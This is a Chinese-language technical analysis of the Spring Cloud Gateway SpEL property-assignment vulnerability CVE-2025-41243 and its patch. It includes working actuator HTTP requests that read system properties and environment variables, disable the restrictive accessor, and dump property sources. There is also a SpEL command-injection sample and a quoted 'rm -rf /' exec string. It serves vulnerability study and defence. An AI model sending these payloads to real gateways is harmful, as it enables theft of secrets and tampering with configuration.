CVE-2025-41243 Spring Cloud Gateway 环境属性修改漏洞 Java SpEL表达式注入 SpEL的设计是为了简化和动态化Spring应用程序的配置过程,可以减少在配置文件中的硬编码,可以动态地根据运行时的环境或条件来决定Bean的初始化或执行逻辑,而不需要修改源代码。
如下所示 -> 调用myBean的someMethod()方法,并将返回值作为value的值。
1 2 3 <bean id ="exampleBean" class ="com.example.Example" > <property name ="value" value ="#{myBean.someMethod()}" /> </bean >
但是若未经任何过滤且SpEL解析的参数为攻击者可控,则会造成命令注入:
1 2 3 4 5 6 7 8 public class Test { public static void main (String[] args) throws Exception { String input = "new java.lang.ProcessBuilder(new String[]{\"open\",\"-a\",\"Calculator\"}).start()\n" ; SpelExpressionParser parser = new SpelExpressionParser (); Expression expression = parser.parseExpression(input); System.out.println(expression.getValue().toString()); } }
漏洞前身 -> CVE-2022-2947 Spring Cloud Gateway SpEL RCE 参考分析 -> https://forum.butian.net/article/331
官方修复方案是将StandardEvaluationContext更换为SimpleEvaluationContext
特性
StandardEvaluationContext
SimpleEvaluationContext
功能完整性
✅ 完整支持所有 SpEL 功能(方法调用、构造器、属性访问、Bean 引用等)
❌ 仅支持基本操作(属性读写、集合操作、运算符),不支持构造器调用和静态方法
性能
较慢(需反射查找方法/字段,缓存机制复杂)
更快(简化了类型转换和方法解析)
安全性
⚠️ 低:允许执行任意代码(如 T(java.lang.Runtime).getRuntime().exec('rm -rf /'))
✅ 高:禁用危险操作,防止代码注入
适用场景
内部配置、受信任环境下的表达式求值
外部输入、用户提交的表达式、需要安全隔离的场景
默认配置
开启所有 SpEL 功能
严格限制,需显式启用部分功能
当gateway端点开启时,可以利用POST /actuator/gateway/routes/xxxx来创建一个新的路由
Actuator API文档 -> https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
新增后利用POST /actuator/gateway/refresh刷新。
打断点 -> 先 ShortcutConfigurable#getValue -> RouteDefinitionRouteLocator#loadGatewayFilters
继续调用请求包中指定filter的apply方法 -> org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#apply
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class AddResponseHeaderGatewayFilterFactory extends AbstractNameValueGatewayFilterFactory { @Override public GatewayFilter apply (NameValueConfig config) { return new GatewayFilter () { @Override public Mono<Void> filter (ServerWebExchange exchange, GatewayFilterChain chain) { String value = ServerWebExchangeUtils.expand(exchange, config.getValue()); exchange.getResponse().getHeaders().add(config.getName(), value); return chain.filter(exchange); } @Override public String toString () { return filterToStringCreator(AddResponseHeaderGatewayFilterFactory.this ) .append(config.getName(), config.getValue()).toString(); } }; } }
重点看一下对CVE-2022-2947漏洞的修复方案
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 static Object getValue (SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) { String rawValue = entryValue; if (entryValue != null ) { rawValue = entryValue.trim(); } Object value; if (rawValue != null && rawValue.startsWith("#{" ) && entryValue.endsWith("}" )) { GatewayEvaluationContext context = new GatewayEvaluationContext (beanFactory); Expression expression = parser.parseExpression(entryValue, new TemplateParserContext ()); value = expression.getValue(context); } else { value = entryValue; } return value; } public static class GatewayEvaluationContext implements EvaluationContext { private final BeanFactoryResolver beanFactoryResolver; private final SimpleEvaluationContext delegate; public GatewayEvaluationContext (BeanFactory beanFactory) { this .beanFactoryResolver = new BeanFactoryResolver (beanFactory); Environment env = (Environment)beanFactory.getBean(Environment.class); boolean restrictive = (Boolean)env.getProperty("spring.cloud.gateway.restrictive-property-accessor.enabled" , Boolean.class, true ); if (restrictive) { this .delegate = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor []{new RestrictivePropertyAccessor ()}).withMethodResolvers(new MethodResolver []{(context, targetObject, name, argumentTypes) -> null }).build(); } else { this .delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build(); } } ...... }
重点为这句代码:
1 this .delegate = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor []{new RestrictivePropertyAccessor ()}).withMethodResolvers(new MethodResolver []{(context, targetObject, name, argumentTypes) -> null }).build();
它调用withMethodResolvers(new MethodResolver[]{(context, targetObject, name, argumentTypes) -> null}),顾名思义,MethodResolver用于解析和调用对象的方法。在SpEL表达式中,如果遇到方法调用(例如 targetObject.someMethod()),MethodResolver会尝试解析这个方法并决定是否可以调用。new MethodResolver[]{(context, targetObject, name, argumentTypes) -> null}代表始终返回NULL,代表禁止了所有方法调用,达到了修复的效果。
CVE-2025-41243 Spring Cloud Gateway 环境属性修改漏洞 比较v4.2.4和v4.2.5的代码,发现在GatewayEvaluationContext实例化中增加了一个新的限制方法->withAssignmentDisabled
这个是防止赋值行为的。
对官方的测试代码稍作修改进行验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Test public void testNormalizeDefaultTypeWithSpelAssignmentAndInvalidInputFails () { parser = new SpelExpressionParser (); ShortcutConfigurable shortcutConfigurable = new ShortcutConfigurable () { @Override public List<String> shortcutFieldOrder () { return Arrays.asList("bean" , "arg1" ); } }; Map<String, String> args = new HashMap <>(); args.put("bean" , "#{ @myMap['my.flag'] = true}" ); args.put("arg1" , "val1" ); try { ShortcutType.DEFAULT.normalize(args, shortcutConfigurable, parser, this .beanFactory); } catch (Exception e) { e.printStackTrace(); throw e; } Map<String, Object> myMap = (Map<String, Object>) beanFactory.getBean("myMap" ); System.out.println("my.flag = " + myMap.get("my.flag" )); } @Bean public Map<String, Object> myMap () { return new HashMap <>(); }
当不加withAssignmentDisabled时,测试输出如下所示:
当加上withAssignmentDisabled后测试输出如下所示:抛出异常不允许进行赋值操作
有两个可以读的Map类型的 -> @systemProperties 和 @systemEnvironment
读@systemProperties
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /actuator/gateway/routes/test1 HTTP/1.1 Host : localhost:8889Content-Type : application/jsonContent-Length : 368{ "id": "test1", "filters": [ { "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{@systemProperties}" } } ], "uri": "http://xxxx.xxx:9999" }
读@systemEnvironment,因为类型转换问题,需要用@systemEnvironment['xxxxxx']的形式进行读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /actuator/gateway/routes/test1 HTTP/1.1 Host : localhost:8889Content-Type : application/jsonContent-Length : 368{ "id": "test1", "filters": [ { "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{@systemEnvironment['SHELL']}" } } ], "uri": "http://xxxx.xxx:9999" }
动态调试的时候发现允许赋值操作,新增属性test赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /actuator/gateway/routes/test1 HTTP/1.1 Host : localhost:8889Content-Type : application/jsonContent-Length : 368{ "id": "test1", "filters": [ { "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{ @systemProperties['test'] = 'attack'}" } } ], "uri": "http://xxxx.xxx:9999" }
打印@systemProperties['test']
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /actuator/gateway/routes/test1 HTTP/1.1 Host : localhost:8889Content-Type : application/jsonContent-Length : 368{ "id": "test1", "filters": [ { "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{@systemProperties['test']}" } } ], "uri": "http://xxxx.xxx:9999" }
成功赋值
在QAX发布的安全公告中提及可以利用赋值的特性使spring.cloud.gateway.restrictive-property-accessor.enabled的值为false,这样就可以关掉大部分的安全检测去读取更多的敏感信息
会先从env中获取,若为NULL则采用默认值true
那么利用赋值新增spring.cloud.gateway.restrictive-property-accessor.enabled 属性的值为false
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /actuator/gateway/routes/test1 HTTP/1.1 Host : localhost:8889Content-Type : application/jsonContent-Length : 368{ "id": "test1", "filters": [ { "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled']=false}" } } ], "uri": "http://xxxx.xxx:9999" }
直接关闭安全模式
直接读@environment.propertySources
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /actuator/gateway/routes/test1 HTTP/1.1 Host : localhost:8889Content-Type : application/jsonContent-Length : 368{ "id": "test1", "filters": [ { "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{ @environment.propertySources.toString}" } } ], "uri": "http://xxxx.xxx:9999" }
成功读取敏感信息
漏洞修复 官方多写了一条检测机制 -> withAssignmentDisabled -> 禁止赋值操作
若继续进行赋值操作,则会报错 -> org.springframework.expression.spel.SpelEvaluationException: EL1068E: The expression component '@systemProperties['user.language']='cn'' is not assignable